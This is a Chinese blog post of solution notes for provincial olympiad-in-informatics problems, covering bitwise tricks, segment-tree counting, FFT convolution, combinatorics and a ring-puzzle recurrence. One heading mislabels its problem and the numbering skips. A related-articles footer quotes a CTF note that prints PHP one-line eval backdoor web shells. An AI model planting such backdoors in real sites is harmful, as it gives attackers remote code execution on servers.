各省省选选做

news/2025/2/7 22:21:51/文章来源:https://www.cnblogs.com/liuir/p/18703397

HNOI

\(\text{I}\). [HNOI/AHOI2018] 寻宝游戏

先考虑 \(m=1\) 的情况。

注意到位运算具有短路性。具体来说,有

\[\begin{aligned} x\& 0=0\\ x\mid 1=1 \end{aligned} \]

所以若有 \(\&0\)\(\mid1\),那么前面的操作都不用做了。

进一步观察可以发现

\[\begin{aligned} x\& 1=x\\ x\mid 0=x \end{aligned} \]

也就是说,其他操作并不会改变答案。

接下来就是这题最人类智慧的地方了,考虑把 \(\&\) 看作 \(1\)\(\mid\) 看作 \(0\),那么答案为 \(1\) 当且仅当操作序列小于原序列。(注意是把后面的看作高位)

Proof:

记操作序列为 \(a\),原序列为 \(b\)

  • 先证必要性,假设对于第 \(i\) 位是第一个满足 \(a(i)<b(i)\) 的,因为 \(\forall j>i,a(j)=b(j)\),所以最后的答案等于前 \(i\) 个的答案。又因为 \(a(i)<b(i)\),所以这一位会被短路成 \(1\)

  • 再证充分性,考虑证明它的逆否命题:操作序列大于等于原序列可以推出答案为 \(0\)。当大于时证明与上述类似,而等于时显然是最开始的 \(0\)\(\square\)

再考虑 \(m>1\) 的情况。

先将每一位的序列排序。每次查询一个数 \(s\),对于 \(s_i=0\) 的位,要满足操作序列大于等于原序列;否则要小于。这样就可以求出一个操作序列的范围,直接输出即可。

\(\text{II}\). [AH2017/HNOI2017] 礼物

考虑每个点作为 \(\max\) 的贡献,记 \(lb_i,rb_i\) 分别为其左/右第一个大于它的数的位置,那么有

  • \((lb_i,rb_i)\) 这一对是个一类点对,并且也只有这一对是。因为区间缩小不满足条件,扩大 \(i\) 就不是 \(\max\) 了。

  • \((lb_i,k)(i<k<rb_i)\) 都是一个二类点对,同理 \((k,rb_i)(lb_i<k<i)\) 也是。这些区间同样不能再扩大和缩小了。

所以一个点作为 \(\max\) 的贡献为

  • \(L\le lb_i\le rb_i\le R\),则有 \(p_1\) 的贡献。

  • \(lb_i\ge L\),则有 \(p_2\times(\min(R,rb_i-1)-i)\) 的贡献。

  • \(rb_i\le R\),则有 \(p_2\times(i-\max(L,lb_i+1))\) 的贡献。

然后考虑如何用数据结构维护。

第一种贡献是二维数点,二三种是类似的,只考虑第二种。

考虑对于每个 \(lb_i\ge L\),给区间 \([i+1,rb_i-1]\) 作为点对的右侧的贡献加一。查询时查区间 \([L,R]\) 内所有作为点对的右侧的贡献之和,这可以用线段树/树状数组求出。

\(\text{III}\). [AH2017/HNOI2017] 礼物

先转化为旋转序列 \(a\),并可以给序列 \(a\) 加上任意整数 \(c\),要求最小化 \(\sum(a_i-b_i)^2\)

暴力拆式子得到

\[\begin{aligned} ans&=\sum(a_i-b_i+c)^2\\ &=\sum(a_i^2+b_i^2+c^2+2ca_i-2cb_i-2a_ib_i)\\ &=\sum a_i^2+\sum b_i^2+nc^2+2c\left(\sum a_i-\sum b_i\right)-2\sum a_ib_i \end{aligned} \]

惊奇地发现只有最后的 \(\sum a_ib_i\) 不是定值。

观察到这一形式,想到卷积。将序列 \(a\) 翻转后再复制一份,然后与序列 \(b\) 卷起来就可以得到所有可能的的 \(\sum a_ib_i\)

前面关于 \(c\) 的二次函数可以暴力枚举 \(c\) 的取值。

\(\text{VI}\). [AHOI2017/HNOI2017] 大佬

把恢复自信值的操作与怼大佬的操作分开。

先用 DP 预处理出不被嘲讽死下的最多的不恢复自信的天数(即最多的不做水题的天数)。再用 BFS 暴搜+ Hash 判重求出所有可能的 \((f,t)\) 对,表示经过 \(t\) 天后嘲讽值为 \(f\)

不怼和只怼一次大佬的情况很好判断,所以只需解决怼两次大佬。

不妨设两次分别为 \((f_i,t_i)\)\((f_j,t_j)\),那么有

\[\begin{aligned} f_i+f_j\le C\\ f_i+f_j+(D-t_i-t_j)\ge C \end{aligned} \]

其中 \(D\) 表示上文求出的最多的不恢复自信的天数。

先把二元组按 \(f\) 排序。考虑从大到小枚举 \(i\),那么 \(j\) 的范围是一段前缀,且要 \(f_j-t_j\) 最大。每次双指针加入即可。

\(\text{V}\). [AH2017/HNOI2017] 抛硬币

先考虑 \(a=b\) 的情况。此时两人获胜的方案数是相同的,均为总方案数减去平局的方案数,再除以 \(2\)

总方案数显然为 \(2^{a+b}\),平局的方案数为

\[\sum_{i=0}^a\binom{a}{i}^2=\binom{2a}{a} \]

再考虑 \(a>b\) 的情况。类似地,可以想到有很多状态都和上面一样,对偶后是对方胜的。

对偶的一对方案中,一定恰好有一组是 \(A\) 赢(包括平局)。所以若记 \(S\) 为不对偶的方案数,那么有

\[ans=S+\frac{2^{a+b}-S}{2}=\frac{2^{a+b}+S}{2} \]

此时,根据定义有

\[\begin{aligned} \left|A\right|&>\left|B\right|\\ a-\left|A\right|&>b-\left|B\right|\Longrightarrow\left|A\right|-\left|B\right|<a-b \end{aligned} \]

所以可以枚举 \(\left|B\right|\)\(\left|A\right|-\left|B\right|\),那么有

\[\begin{aligned} S&=\sum_{i=0}^b\sum_{j=1}^{a-b-1}\binom{b}{i}\binom{a}{i+j}\\ &=\sum_{j=1}^{a-b-1}\sum_{i=0}^b\binom{b}{b-i}\binom{a}{i+j}\\ &=\sum_{j=1}^{a-b-1}\binom{a+b}{b+j} \end{aligned} \]

其中最后一步用到了范德蒙德卷积。

然后直接 exLucas 即可。时间复杂度 \(O((b-a)\log^2a+2^k+5^k)\)

CQOI

[CQOI2018] 九连环

\(f_n\) 表示 \(n\) 个环全部拆卸的最小步数。那么肯定是先将第 \(n\) 个环拆下,之后步数是 \(f_{n-1}\),而前面是将前 \(n-2\) 个环拆卸后拆下第 \(n\) 个环,然后再装上前 \(n-2\) 个环,所以有

\[f_n=f_{n-1}+2f_{n-2}+1 \]

进一步观察可以发现,\(f_n=2f_{n-1}+(n\bmod 2)\),考虑用归纳法证明:

  • \(n=1\),显然有 \(f_1=2f_0+1\)

  • \(n>1\),那么

    • \(n\bmod 2=1\),则 \(f_n=f_{n-1}+2f_{n-2}+1=2f_{n-1}+1\)

    • \(n\bmod 2=0\),则 \(f_n=f_{n-1}+2f_{n-2}+1=2f_{n-1}\)\(\square\)

但并没有那么简单。注意到 \(f_n\ge2^n\),所以至少有 \(B=n\lg2\approx30102\) 位,要写高精度。

考虑求出 \(F(x)=\sum f_ix^i\) 的封闭形式:

\[\begin{aligned} F(x)&=f_0+f_1x+f_2x^2+f_3x^3+\cdots\\ 2xF(x)&=2f_0x+2f_1x^2+2f_2x^3+2f_3x^4+\cdots\\ &=(f_1-1)x+f_2x^2+(f_3-1)x^3+f_4x^4+\cdots\\ (1-2x)F(x)&=x+x^3+x^5+\cdots\\ &=\frac{x}{1-x^2}\\ F(x)&=\frac{x}{(1+x)(1-x)(1-2x)} \end{aligned} \]

然后就可以求出通项公式了:

\[f_n=\frac{2^{n+2}-(-1)^n-3}{6} \]

直接 NTT 算出 \(2^{n+2}\) 即可。

[]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/880257.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

注解反射之自定义注解

自定义注解主要是要掌握四个元注解@Target, @Retention,@Documented,@Inherited,他们的意思分别如下 下面是一个具体的例子,注意注释定义中的 String name()并不是定义一个name方法,而是定义一个name属性,该属性的类型是Stringpackage com.loubin;import java.lang.ann…

【CTF笔记】文件上传漏洞

一、后门代码 1、一句话后门 <?php @eval($_get[cmd]); ?> <?php @eval($_request[cmd]);?> <script language="php">@eval($_post[cmd]);</script>注意,在PHP中配置 short_open_tag=on 时,图片中不能含有 <? ,有会影响PHP代码的…

​​2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)

2025年中非人工智能产业发展论坛征文来了!网络空间安全专业论文投稿建议(附文件全文)2025年中非人工智能产业发展论坛由广西产学研科学研究院、天津科学技术出版社、马里共和国驻华大使馆等单位联合举办,南宁市人工智能学会、IRNet国际学术交流中心承办,拟于2025年9月召开…

Tita 项目管理:前后置业务流程的得力助手

在当今竞争激烈的商业环境中,高效的项目管理对于企业的成功至关重要。而项目前后置业务流程的顺畅运作,更是决定项目成败的关键因素。接下来,让我们一起看看项目前后置业务流程的常见应用场景,以及 Tita 项目管理产品如何发挥重要作用。 项目启动前:精准规划,奠定成功基础…

P3405 [USACO16DEC] Cities and States S(哈希算法)

总的来说这是一道简单的哈希算法,由于是字符串,所以哈希编码时只用乘26就行了

虚拟化技术介绍

一、虚拟化技术简介 虚拟化(Virtualization)的含义很广泛。将任何一种形式的资源抽象成另一种形式的技术都是虚拟化,是资源的一种逻辑表示。解除了物理硬件和操作系统之间的紧耦合关系。虚拟化是云计算的基础。简单地说,虚拟化使得在一台物理的服务器上可以跑多台虚拟机,虚…

地平线 3D 目标检测 Bevformer 参考算法 V2.0

该示例为参考算法,仅作为在 征程 6 上模型部署的设计参考,非量产算法 简介 BEVFormer 是当前热门的自动驾驶系统中的 3D 视觉感知任务模型。BEVFormer 是一个端到端的框架,BEVFormer 可以直接从原始图像数据生成 BEV 特征,无需依赖于传统的图像处理流程。它通过利用 Transf…

.NET周刊【1月第3期 2025-01-19】

国内文章 互联网不景气了那就玩玩嵌入式吧,用纯.NET开发并制作一个智能桌面机器人(一):从.NET IoT入门开始 https://www.cnblogs.com/GreenShade/p/18667671 文章介绍了一款基于树莓派Zero 2W和.NET技术的智能桌面机器人。作者因对该项目的兴趣与网友需求而进行开发。产品结…

AUTOSAR 学习笔记

AUTOSAR 学习笔记 概述 ​ 本文章为0基础小白记录AUTOSAR学习笔记。如有错误,欢迎评论区指正。个人笔记模式习惯采用提问式记录,也是这篇文章的主要记录模式。 补充,大篇幅文章推荐: 《AutoSAR入门到精通系列讲解》作者:雪云飞星 https://blog.csdn.net/xyfx_fhw/category…

Win11环境下安装Oracle Databases 11g 遇到[INS-13001]环境不满足最低要求解决办法

找到你解压后的文件,点击打开database文件夹 -->stage文件夹 -->cvu文件夹 -->cvu_prereq.xml文件,用记事本打开cvu_prereq.xml文件; 在这个<CERTIFIED_SYSTEMS>。。。</CERTIFIED_SYSTEMS>语句之间增加如下代码: ...... <CERTIFIED_SYSTEMS> &…

Zookeeper入门api与应用

一、 说明 Zookeeper作为一个分布式的服务框架,主要用来解决分布式集群中应用系统的一致性问题,它能提供基于类似于文件系统的目录节点树方式的数据存储,但是 Zookeeper并不是用来专门存储数据的,它的作用主要是用来维护和监控你存储的数据的状态变化。通过监控这些数据状态…

马走日(结论题)

这道题本质上,是一道结论题,结论如下: 1.小尺寸处理: 如果点阵的行或列有一个为1,则马无法移动,只能留在起点,此时答案为1。 如果点阵的最小边为2,则马只能沿着较长的边移动,每次移动步长为2,此时答案为较长边的一半加1。 2.中等尺寸处理: 当点阵为3x3时,马无法到达…